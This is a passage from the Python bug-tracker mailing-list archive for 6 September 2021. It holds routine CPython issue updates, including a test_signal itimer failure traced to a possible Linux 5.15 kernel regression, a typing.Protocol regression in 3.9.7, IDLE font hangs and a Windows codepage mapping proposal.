    ^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/unittest/runner.py", line 54, in startTest
    self.stream.write(self.getDescription(test))
                      ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/unittest/runner.py", line 44, in getDescription
    def getDescription(self, test):
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/test/test_signal.py", line 739, in sig_vtalrm
    raise signal.ItimerError("setitimer didn't disable ITIMER_VIRTUAL "
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
signal.itimer_error: setitimer didn't disable ITIMER_VIRTUAL timer.


Code of the test:

    def sig_vtalrm(self, *args):
        self.hndl_called = True

        if self.hndl_count > 3:
            # it shouldn't be here, because it should have been disabled.
            raise signal.ItimerError("setitimer didn't disable ITIMER_VIRTUAL "  # <==== HERE
                "timer.")     # <======================================================= HERE
        elif self.hndl_count == 3:
            # disable ITIMER_VIRTUAL, this function shouldn't be called anymore
            signal.setitimer(signal.ITIMER_VIRTUAL, 0)

        self.hndl_count += 1

    # Issue 3864, unknown if this affects earlier versions of freebsd also                
    @unittest.skipIf(sys.platform in ('netbsd5',),                                        
        'itimer not reliable (does not mix well with threading) on some BSDs.')           
    def test_itimer_virtual(self):                                                        
        self.itimer = signal.ITIMER_VIRTUAL
        signal.signal(signal.SIGVTALRM, self.sig_vtalrm)
        signal.setitimer(self.itimer, 0.3, 0.2)

        start_time = time.monotonic()
        while time.monotonic() - start_time < 60.0:
            # use up some virtual time by doing real work
            _ = pow(12345, 67890, 10000019)
            if signal.getitimer(self.itimer) == (0.0, 0.0):
                break # sig_vtalrm handler stopped this itimer
        else: # Issue 8424
            self.skipTest("timeout: likely cause: machine too slow or load too "
                          "high")

        # virtual itimer should be (0.0, 0.0) now
        self.assertEqual(signal.getitimer(self.itimer), (0.0, 0.0))
        # and the handler should have been called
        self.assertEqual(self.hndl_called, True)

----------
components: Tests
messages: 401162
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_signal.test_itimer_virtual() failed on AMD64 Fedora Rawhide 3.x
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:11:30 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 17:11:30 +0000
Subject: [issue45119] test_signal.test_itimer_virtual() failed on AMD64 Fedora
 Rawhide 3.x
In-Reply-To: <1630948256.1.0.298507689656.issue45119@roundup.psfhosted.org>
Message-ID: <1630948290.18.0.137781725528.issue45119@roundup.psfhosted.org>


Change by STINNER Victor :


----------
nosy: +cstratak

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:13:14 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 17:13:14 +0000
Subject: [issue25066] Better repr for multiprocessing.synchronize objects
In-Reply-To: <1441945512.28.0.268911334925.issue25066@psf.upfronthosting.co.za>
Message-ID: <1630948394.86.0.541923777458.issue25066@roundup.psfhosted.org>


Irit Katriel  added the comment:

The patch need to be converted to a GitHub PR.

----------
keywords: +easy -patch
nosy: +iritkatriel
stage: patch review -> needs patch
versions: +Python 3.11 -Python 3.5, Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:16:51 2021
From: report at bugs.python.org (miss-islington)
Date: Mon, 06 Sep 2021 17:16:51 +0000
Subject: [issue45052] WithProcessesTestSharedMemory.test_shared_memory_basics
 fails on Windows
In-Reply-To: <1630347688.96.0.848198201023.issue45052@roundup.psfhosted.org>
Message-ID: <1630948611.45.0.463742953438.issue45052@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset 6b5aea2dc1bf7e117d40d6c9035d5c13124fd968 by Miss Islington (bot) in branch '3.10':
bpo-45052: Unskips a failing `test_shared_memory_basics` test (GH-28182)
https://github.com/python/cpython/commit/6b5aea2dc1bf7e117d40d6c9035d5c13124fd968


----------
nosy: +miss-islington

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:26:57 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 17:26:57 +0000
Subject: [issue29232] Quiet Install
In-Reply-To: <1484083752.73.0.652797539276.issue29232@psf.upfronthosting.co.za>
Message-ID: <1630949217.15.0.99032756544.issue29232@roundup.psfhosted.org>


Irit Katriel  added the comment:

Earl, is there still an open problem to look into here or can this be closed?

----------
nosy: +iritkatriel

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:33:20 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Mon, 06 Sep 2021 17:33:20 +0000
Subject: [issue41082] Error handling and documentation of Path.home()
In-Reply-To: <1592860421.93.0.490449762565.issue41082@roundup.psfhosted.org>
Message-ID: <1630949600.86.0.948188459355.issue41082@roundup.psfhosted.org>


Change by Andrei Kulakov :


----------
keywords: +patch
pull_requests: +26614
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28186

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:36:46 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Mon, 06 Sep 2021 17:36:46 +0000
Subject: [issue41082] Error handling and documentation of Path.home()
In-Reply-To: <1592860421.93.0.490449762565.issue41082@roundup.psfhosted.org>
Message-ID: <1630949806.05.0.787224871238.issue41082@roundup.psfhosted.org>


Change by Andrei Kulakov :


----------
versions: +Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:36:22 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Mon, 06 Sep 2021 17:36:22 +0000
Subject: [issue41082] Error handling and documentation of Path.home()
In-Reply-To: <1592860421.93.0.490449762565.issue41082@roundup.psfhosted.org>
Message-ID: <1630949782.79.0.187818084227.issue41082@roundup.psfhosted.org>


Andrei Kulakov  added the comment:

I looked a bit more into this, it's been fixed in 3.10, in this PR: https://github.com/python/cpython/pull/18841

It wasn't backported to 3.9. I'm not quite sure if it's best to backport to 3.9 or fix via docs for 3.9. Just in case I've put up a small PR for such a docfix.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:41:03 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Mon, 06 Sep 2021 17:41:03 +0000
Subject: [issue39899] `pathlib.Path.expanduser()` does not call
 `os.path.expanduser()`
In-Reply-To: <1583643972.77.0.25342179601.issue39899@roundup.psfhosted.org>
Message-ID: <1630950063.05.0.843588893992.issue39899@roundup.psfhosted.org>


Andrei Kulakov  added the comment:

Note this change also fixes https://bugs.python.org/issue41082 . I'm guessing it's too much of an edge case to backport this fix to 3.9, so I've put up a possible fix via docs update on that issue.

----------
nosy: +andrei.avk, kj

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:52:12 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Mon, 06 Sep 2021 17:52:12 +0000
Subject: [issue39899] `pathlib.Path.expanduser()` does not call
 `os.path.expanduser()`
In-Reply-To: <1583643972.77.0.25342179601.issue39899@roundup.psfhosted.org>
Message-ID: <1630950732.41.0.926991969588.issue39899@roundup.psfhosted.org>


Andrei Kulakov  added the comment:

To be more precise, this change fixes https://bugs.python.org/issue41082 by raising RuntimeError instead of KeyError and also by documenting it, which means matplotlib can fix it by either using os.path.expanduser or catching RuntimeError, whichever might work better in their case.

I will let them know once we sort this out.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:54:50 2021
From: report at bugs.python.org (Tim Peters)
Date: Mon, 06 Sep 2021 17:54:50 +0000
Subject: [issue34561] Replace list sorting merge_collapse()?
In-Reply-To: <1535764924.6.0.56676864532.issue34561@psf.upfronthosting.co.za>
Message-ID: <1630950890.08.0.355239424721.issue34561@roundup.psfhosted.org>


Tim Peters  added the comment:


New changeset 5cb4c672d855033592f0e05162f887def236c00a by Tim Peters in branch 'main':
bpo-34561: Switch to Munro & Wild "powersort" merge strategy. (#28108)
https://github.com/python/cpython/commit/5cb4c672d855033592f0e05162f887def236c00a


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:58:25 2021
From: report at bugs.python.org (Tim Peters)
Date: Mon, 06 Sep 2021 17:58:25 +0000
Subject: [issue34561] Replace list sorting merge_collapse()?
In-Reply-To: <1535764924.6.0.56676864532.issue34561@psf.upfronthosting.co.za>
Message-ID: <1630951105.55.0.370678820408.issue34561@roundup.psfhosted.org>


Change by Tim Peters :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 14:02:37 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 18:02:37 +0000
Subject: [issue45119] test_signal.test_itimer_virtual() failed on AMD64 Fedora
 Rawhide 3.x
In-Reply-To: <1630948256.1.0.298507689656.issue45119@roundup.psfhosted.org>
Message-ID: <1630951357.67.0.0856854879537.issue45119@roundup.psfhosted.org>


STINNER Victor  added the comment:

I rewrote the test in C, see attached setitimer.c.

On Fedora 34:
---
$ rpm -q glibc
glibc-2.33-20.fc34.x86_64
$ uname -r
5.13.8-200.fc34.x86_64

$ gcc setitimer.c -o setitimer && ./setitimer
setitimer(<0.5, 0.5>)
SIGVTALRM
SIGVTALRM
SIGVTALRM
SIGVTALRM
setitimer(<0, 0>) ok
SIGVTALRM is disarmed
wait 3 seconds
setitimer(<0, 0>) ok
exit
---

On Fedora Rawhide:
---
$ rpm -q glibc
glibc-2.34.9000-5.fc36.x86_64
$ uname -r
5.15.0-0.rc0.20210902git4ac6d90867a4.4.fc36.x86_64

$ gcc setitimer.c -o setitimer && ./setitimer
setitimer(<0.5, 0.5>)
SIGVTALRM
SIGVTALRM
SIGVTALRM
SIGVTALRM
setitimer(<0, 0>) ok
SIGVTALRM
FATAL ERROR: SIGVTALRM timer not disarmed!
Abandon (core dumped)
---

----------
Added file: https://bugs.python.org/file50265/setitimer.c

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 14:13:05 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 18:13:05 +0000
Subject: [issue45119] test_signal.test_itimer_virtual() failed on AMD64 Fedora
 Rawhide 3.x
In-Reply-To: <1630948256.1.0.298507689656.issue45119@roundup.psfhosted.org>
Message-ID: <1630951985.57.0.580830302835.issue45119@roundup.psfhosted.org>


STINNER Victor  added the comment:

It seems like the kernel was just upgrade from 5.14 to 5.15.rc0:

vstinner at python-builder-rawhide$ date
lun. 06 sept. 2021 14:05:43 EDT

vstinner at python-builder-rawhide$ grep kernel /var/log/dnf.log
2021-09-03T06:35:58-0400 DEBUG Installed: kernel-5.15.0-0.rc0.20210901git9e9fb7655ed5.2.fc36.x86_64
...
2021-09-04T06:31:34-0400 DEBUG Installed: kernel-5.15.0-0.rc0.20210902git4ac6d90867a4.4.fc36.x86_64
...

vstinner at python-builder-rawhide$ rpm -q kernel
kernel-5.14.0-0.rc5.20210813gitf8e6dfc64f61.46.fc36.x86_64
kernel-5.15.0-0.rc0.20210901git9e9fb7655ed5.2.fc36.x86_64
kernel-5.15.0-0.rc0.20210902git4ac6d90867a4.4.fc36.x86_64

vstinner at python-builder-rawhide$ uptime
 14:06:00 up  3:14,  1 user,  load average: 2,47, 2,58, 3,11

vstinner at python-builder-rawhide$ journalctl --list-boots
-1 04d2796c1f374367add41a55f48c7dad Sat 2021-08-28 14:55:16 EDT?Mon 2021-09-06 10:50:57 EDT
 0 1a10ace470bd4016ad19fd25d248fc57 Mon 2021-09-06 10:51:11 EDT?Mon 2021-09-06 14:12:36 EDT

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 14:18:38 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 06 Sep 2021 18:18:38 +0000
Subject: [issue30637] Syntax error reported on compile(...),
 but not on compile(..., ast.PyCF_ONLY_AST)
In-Reply-To: <1497271056.08.0.482498543523.issue30637@psf.upfronthosting.co.za>
Message-ID: <1630952318.72.0.799528471339.issue30637@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

The doc section in question is
https://docs.python.org/3/library/ast.html#ast.parse

I confirmed that 'break', 'continue', 'yield', and 'return' still parse, with the results how having "type_ignores=[]" added.
  'Module(body=[Expr(value=Yield())], type_ignores=[])'
I do not understand Nick's comment about 'await' as 'await' is not a legal statement'

The current initial paragraph says:
  "Parse the source into an AST node. Equivalent to compile(source, filename, mode, ast.PyCF_ONLY_AST)."

I suggest following this with:
  "If the AST node is compiled to a code object, there are additional syntax checks that can raise errors.  "For example, 'return' parses to a node, but is not legal outside of a def statement."

Hrvoje's suggested adding something like
  "If source contains a null character ('\0'), ValueError is raised."

I don't think that this is needed as ast.parse is explicitly noted as equivalent to a compile call, and the compile doc says "This function raises SyntaxError if the compiled source is invalid, and ValueError if the source contains null bytes."  (Should not that be 'null characters' given that *source* is now unicode?) This statement need not be repeated here.

----------
versions: +Python 3.11 -Python 2.7, Python 3.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 14:23:16 2021
From: report at bugs.python.org (Ned Deily)
Date: Mon, 06 Sep 2021 18:23:16 +0000
Subject: [issue45111] whole website translation error
In-Reply-To: <1630920397.91.0.782714198576.issue45111@roundup.psfhosted.org>
Message-ID: <1630952596.3.0.712937934282.issue45111@roundup.psfhosted.org>


Change by Ned Deily :


----------
assignee:  -> docs at python
components: +Documentation
nosy: +docs at python

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 14:32:17 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 18:32:17 +0000
Subject: [issue45119] test_signal.test_itimer_virtual() failed on AMD64 Fedora
 Rawhide 3.x
In-Reply-To: <1630948256.1.0.298507689656.issue45119@roundup.psfhosted.org>
Message-ID: <1630953137.22.0.289837164423.issue45119@roundup.psfhosted.org>


STINNER Victor  added the comment:

It may be a Linux kernel 5.15 regression. I'm now trying to report this issue to the Linux kernel.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 14:40:05 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 18:40:05 +0000
Subject: [issue30637] Syntax error reported on compile(...),
 but not on compile(..., ast.PyCF_ONLY_AST)
In-Reply-To: <1497271056.08.0.482498543523.issue30637@psf.upfronthosting.co.za>
Message-ID: <1630953605.81.0.440022996868.issue30637@roundup.psfhosted.org>


Irit Katriel  added the comment:

Re null in source code, see issue20115.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 15:00:09 2021
From: report at bugs.python.org (Steve Dower)
Date: Mon, 06 Sep 2021 19:00:09 +0000
Subject: [issue29232] Quiet Install
In-Reply-To: <1484083752.73.0.652797539276.issue29232@psf.upfronthosting.co.za>
Message-ID: <1630954809.12.0.719576053657.issue29232@roundup.psfhosted.org>


Steve Dower  added the comment:

The underlying issue is known and tracked by issue25166

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed
superseder:  -> Windows All Users installation places uninstaller in user profile

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 15:30:41 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 06 Sep 2021 19:30:41 +0000
Subject: [issue45103] IDLE: make configdialog font page survive font failures
In-Reply-To: <1630790219.84.0.830457804554.issue45103@roundup.psfhosted.org>
Message-ID: <1630956641.16.0.597088963603.issue45103@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

Thank you for finding what I could not.

Your previous message, referenced above, reporting a problem that remains in 8.6.11 on linux, was ...

"For me, this is not limited to special characters. Trying to load anything in Tk using the 'JoyPixels' font crashes (sometimes it does load but all characters are very random - most are whitespace - and it crashes again after a call to `fc-cache`). IDLE crashes when trying to preview the font.

I believe this is what is being experienced on https://askubuntu.com/questions/1236488/x-error-of-failed-request-badlength-poly-request-too-large-or-internal-xlib-le because they are not using any special characters yet are reporting the same problem."

JoyPixels is an emoji font.  There are emoji in the BMP, but not in IDLE's initial font sample.  Did you add some, or did problems occur without displaying any emoji?
---

I presume that the Phaistos 'font' has glyphs for the unicode phaistos block in the first astral plane, U+101D0..101FD.
https://en.wikipedia.org/wiki/Phaistos_Disc_(Unicode_block)

If they include one of those characters in the font name displayed in the font list (ugh), then a problem is understandable, and the fix would be to filter astral chars (and possibly more) out of font names.  But I won't assume this.

Please try the experiments I outlined if you are so inclined.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 15:32:11 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 06 Sep 2021 19:32:11 +0000
Subject: [issue45103] IDLE: make configdialog font page survive font failures
In-Reply-To: <1630790219.84.0.830457804554.issue45103@roundup.psfhosted.org>
Message-ID: <1630956731.77.0.0885392315242.issue45103@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

If nothing else, I should amend the doc note about font problems to include Windows if we verify the report.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 15:42:30 2021
From: report at bugs.python.org (Carl Friedrich Bolz-Tereick)
Date: Mon, 06 Sep 2021 19:42:30 +0000
Subject: [issue34561] Replace list sorting merge_collapse()?
In-Reply-To: <1535764924.6.0.56676864532.issue34561@psf.upfronthosting.co.za>
Message-ID: <1630957350.13.0.248094818467.issue34561@roundup.psfhosted.org>


Carl Friedrich Bolz-Tereick  added the comment:

Thanks for your work Tim, just adapted the changes to PyPy's Timsort, using bits of runstack.py!

----------
nosy: +Carl.Friedrich.Bolz

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 15:48:49 2021
From: report at bugs.python.org (E. Paine)
Date: Mon, 06 Sep 2021 19:48:49 +0000
Subject: [issue45103] IDLE: make configdialog font page survive font failures
In-Reply-To: <1630790219.84.0.830457804554.issue45103@roundup.psfhosted.org>
Message-ID: <1630957729.11.0.957631434893.issue45103@roundup.psfhosted.org>


E. Paine  added the comment:

> did problems occur without displaying any emoji

I was using an unmodified version of IDLE.

> If they include one of those characters in the font name displayed in the font list

This is not the case. It is listed simply as "Phaistos", when calling `tkinter.font.families()`.

> if we verify the report

Report verified. Behaviour is exactly as described, hanging when trying to load the "Configure IDLE" window. I will look into exactly which line is the problem soon.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 15:51:01 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 19:51:01 +0000
Subject: [issue32750] lib2to3 log_error method behavior is inconsitent with
 documentation
In-Reply-To: <1517596667.28.0.467229070634.issue32750@psf.upfronthosting.co.za>
Message-ID: <1630957861.31.0.389406180088.issue32750@roundup.psfhosted.org>


Change by Irit Katriel :


----------
stage:  -> resolved
status: pending -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 16:11:38 2021
From: report at bugs.python.org (E. Paine)
Date: Mon, 06 Sep 2021 20:11:38 +0000
Subject: [issue45103] IDLE: make configdialog font page survive font failures
In-Reply-To: <1630790219.84.0.830457804554.issue45103@roundup.psfhosted.org>
Message-ID: <1630959098.15.0.983482191317.issue45103@roundup.psfhosted.org>


E. Paine  added the comment:

IDLE is hanging on Lib/idlelib/configdialog.py:94 (`self.wait_window()`). Commenting this does not solve the problem: I think it's in the Tk event loop somewhere, since my debugger shows the Python callback completing successfully. This still doesn't explain the behaviour, however, so I'll need to spend a bit more time tracking it down.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 16:30:12 2021
From: report at bugs.python.org (Rafael Belo)
Date: Mon, 06 Sep 2021 20:30:12 +0000
Subject: [issue45120] Windows cp encodings "UNDEFINED" entries update
Message-ID: <1630960212.43.0.654084937143.issue45120@roundup.psfhosted.org>


New submission from Rafael Belo :

There is a mismatch in specification and behavior in some windows encodings.

Some older windows codepages specifications present "UNDEFINED" mapping, whereas in reality, they present another behavior which is updated in a section named "bestfit".

For example CP1252 has a corresponding bestfit1525: 
CP1252: https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT
bestfit1525: https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit1252.txt


>From which, in CP1252, bytes \x81 \x8d \x8f \x90 \x9d map to "UNDEFINED", whereas in bestfit1252, they map to \u0081 \u008d \u008f \u0090 \u009d respectively. 

In the Windows API, the function 'MultiByteToWideChar' exhibits the bestfit1252 behavior.


This issue and PR proposes a correction for this behavior, updating the windows codepages where some code points where defined as "UNDEFINED" to the corresponding bestfit?mapping. 


Related issue: https://bugs.python.org/issue28712

----------
components: Demos and Tools, Library (Lib), Unicode, Windows
messages: 401181
nosy: ezio.melotti, lemburg, paul.moore, rafaelblsilva, steve.dower, tim.golden, vstinner, zach.ware
priority: normal
severity: normal
status: open
title: Windows cp encodings "UNDEFINED" entries update
type: behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 16:47:12 2021
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 06 Sep 2021 20:47:12 +0000
Subject: [issue45120] Windows cp encodings "UNDEFINED" entries update
In-Reply-To: <1630960212.43.0.654084937143.issue45120@roundup.psfhosted.org>
Message-ID: <1630961232.44.0.729906411995.issue45120@roundup.psfhosted.org>


Change by Roundup Robot :


----------
keywords: +patch
nosy: +python-dev
nosy_count: 8.0 -> 9.0
pull_requests: +26615
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28189

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 17:49:38 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 21:49:38 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1630964978.41.0.318221464118.issue45116@roundup.psfhosted.org>


STINNER Victor  added the comment:

Raymond:
> Perhaps these critical code sections should have been left as macros. It is difficult to assuring system wide inlining across modules.

These functions were not converted recently to static inline function. For example, Py_INCREF() was already a static inline function in Python 3.9. I don't think that any decision should be taken before performances have been analyzed in depth.

I'm not convinced that there is really a performance regression. I'm not sure how benchmarks are run on Windows.

neonene:
> I measured overheads of (1)~(4) on my own build whose eval-loop uses macros instead of them.

I don't understand how to read the table.

Usually, I expect a comparison between a reference build and a patch build, but here you seem to use 3.10a7 as the reference to compare results. I'm not sure that geometric means can be compared this way.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 17:52:54 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 21:52:54 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1630965174.17.0.164145877102.issue45116@roundup.psfhosted.org>


STINNER Victor  added the comment:

> Since PR25244 (28d28e053db6b69d91c2dfd579207cd8ccbc39e7),
_PyEval_EvalFrameDefault() in ceval.c has seemed to be unoptimized with PGO (msvc14.29.16.10).
> At least the functions below have become un-inlined there at all.

I'm not sure if PGO builds are reproducible, since there is a training step which requires to run a non-deterministic workload (the Python test suite which is somehow randomized by I/O timings and other stuffs).

The compiler is free to inline or not depending on the pressure on registers and stack memory. I'm not sure that inlining always make the code faster, since inlining have many side effects.

I don't know well MSC compiler.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 18:05:20 2021
From: report at bugs.python.org (Shantanu)
Date: Mon, 06 Sep 2021 22:05:20 +0000
Subject: [issue45121] Regression in 3.9.7 with typing.Protocol
Message-ID: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>


New submission from Shantanu :

Consider:
```
from typing import Protocol

class P(Protocol):
    ...

class C(P):
    def __init__(self):
        super().__init__()

C()
```
This code passes without error on 3.9.6.

With 3.9.7, we get:
```
Traceback (most recent call last):
  File "/Users/shantanu/dev/test.py", line 10, in 
    C()
  File "/Users/shantanu/dev/test.py", line 8, in __init__
    super().__init__()
  File "/Users/shantanu/.pyenv/versions/3.9.7/lib/python3.9/typing.py", line 1083, in _no_init
    raise TypeError('Protocols cannot be instantiated')
TypeError: Protocols cannot be instantiated
```

I bisected this to:

bpo-44806: Fix __init__ in subclasses of protocols (GH-27545) (GH-27559)

Note there is also an interaction with the later commit:

bpo-45081: Fix __init__ method generation when inheriting from Protocol (GH-28121) (GH-28132)

This later commit actually causes a RecursionError:
```
  File "/Users/shantanu/dev/cpython/Lib/typing.py", line 1103, in _no_init_or_replace_init
    cls.__init__(self, *args, **kwargs)
  File "/Users/shantanu/dev/test.py", line 8, in __init__
    super().__init__()
  File "/Users/shantanu/dev/cpython/Lib/typing.py", line 1103, in _no_init_or_replace_init
    cls.__init__(self, *args, **kwargs)
  File "/Users/shantanu/dev/test.py", line 8, in __init__
    super().__init__()
```

Originally reported by @tyralla on Gitter.

----------
components: Library (Lib)
messages: 401184
nosy: hauntsaninja
priority: normal
severity: normal
status: open
title: Regression in 3.9.7 with typing.Protocol
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 18:06:45 2021
From: report at bugs.python.org (Shantanu)
Date: Mon, 06 Sep 2021 22:06:45 +0000
Subject: [issue45121] Regression in 3.9.7 with typing.Protocol
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1630966005.21.0.713491199433.issue45121@roundup.psfhosted.org>


Change by Shantanu :


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 18:21:55 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 22:21:55 +0000
Subject: [issue44348]
 test_exceptions.ExceptionTests.test_recursion_in_except_handler stack
 overflow on Windows debug builds
In-Reply-To: <1623145677.55.0.159722944157.issue44348@roundup.psfhosted.org>
Message-ID: <1630966915.6.0.424274577381.issue44348@roundup.psfhosted.org>


Change by STINNER Victor :


----------
pull_requests: +26617
pull_request: https://github.com/python/cpython/pull/28190

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 18:34:24 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 22:34:24 +0000
Subject: [issue44348]
 test_exceptions.ExceptionTests.test_recursion_in_except_handler stack
 overflow on Windows debug builds
In-Reply-To: <1623145677.55.0.159722944157.issue44348@roundup.psfhosted.org>
Message-ID: <1630967664.51.0.972433454505.issue44348@roundup.psfhosted.org>


STINNER Victor  added the comment:

test_recursion_in_except_handler() creates chained of exceptions. When an exception is deallocated, it calls the deallocator of another exception, etc.

* recurse_in_except() sub-test creates chains of 11 nested deallocator calls
* recurse_in_body_and_except() sub-test creates a chain of 8192 nested deallocator calls

I'm not sure how recurse_in_body_and_except() can creates a chain which is so long, knowing that the test sets the recursion limit to 44 frames (default Python limit is 1000).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 18:35:40 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Mon, 06 Sep 2021 22:35:40 +0000
Subject: [issue44958] [sqlite3] only reset statements when needed
In-Reply-To: <1629444824.56.0.865259292634.issue44958@roundup.psfhosted.org>
Message-ID: <1630967740.08.0.759459178585.issue44958@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

In msg399939, item 2 lacks one more "reset path":

> 2. at cursor exit, if there's an active statement

Rewording this to:

2. when a statement is removed from a cursor; that is either at cursor dealloc, or when the current statement is replaced.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 18:41:33 2021
From: report at bugs.python.org (Fahim Faisal)
Date: Mon, 06 Sep 2021 22:41:33 +0000
Subject: [issue44828] Using tkinter.filedialog crashes on macOS Python 3.9.6
In-Reply-To: <1628076093.82.0.287740145135.issue44828@roundup.psfhosted.org>
Message-ID: <1630968093.06.0.686774175531.issue44828@roundup.psfhosted.org>


Fahim Faisal  added the comment:

Can also confirm this issue, tested on M1 and Intel Mac and both has the same error when using Monterey 12.0 Beta 21A5506j. 

On the same computer, using Big Sur, saves the file successfully and no error present. Seems like a Monterey issue, not dependent on specific hardware. (Intel/M1)

Tested on fresh Python 3.9.6 (tk version 8.6) Installation on Big Sur and Monterey Beta (Build 21A5506j) on a M1 Macbook Pro and Early 2015 13" Macbook Pro.

----------
nosy: +i3p9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 18:44:03 2021
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 06 Sep 2021 22:44:03 +0000
Subject: [issue45122] Remove PyCode_New and PyCode_NewWithPosOnlyArgs
Message-ID: <1630968243.03.0.371650813101.issue45122@roundup.psfhosted.org>


New submission from Guido van Rossum :

This is up for grabs.

For reference, the Steering Council approved getting rid of these two C APIs without honoring the customary two-release deprecation period required by PEP 387.

For reference see https://github.com/python/steering-council/issues/75. This also has references to python-dev and python-committers discussions.

----------
messages: 401188
nosy: gvanrossum
priority: normal
severity: normal
stage: needs patch
status: open
title: Remove PyCode_New and PyCode_NewWithPosOnlyArgs
type: behavior
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 18:45:03 2021
